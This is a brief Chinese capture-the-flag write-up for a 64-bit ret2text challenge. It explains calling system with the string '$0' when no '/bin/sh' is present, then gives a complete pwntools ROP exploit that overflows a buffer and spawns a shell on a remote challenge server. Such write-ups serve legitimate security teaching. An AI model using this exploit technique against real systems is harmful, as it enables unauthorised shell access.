此题为64位ret2text题目
先查看一下保护
提供system函数,但是string里面没有提供/bin/sh
tips提醒,此题考虑传入$0
从而构建system($0)
故exp:
from pwn import *
# io=process("./shell")
io=remote("1.14.71.254",28279)
elf=ELF("./shell")
ret_addr=0x400416
sys_addr=elf.sym[b"system"]
pop_rdi_addr=0x4005e3
str_0_addr=0x400541
payload=cyclic(0x18)+p64(ret_addr)+p64(pop_rdi_addr)+p64(str_0_addr)+p64(sys_addr)
io.sendline(payload)
io.interactive()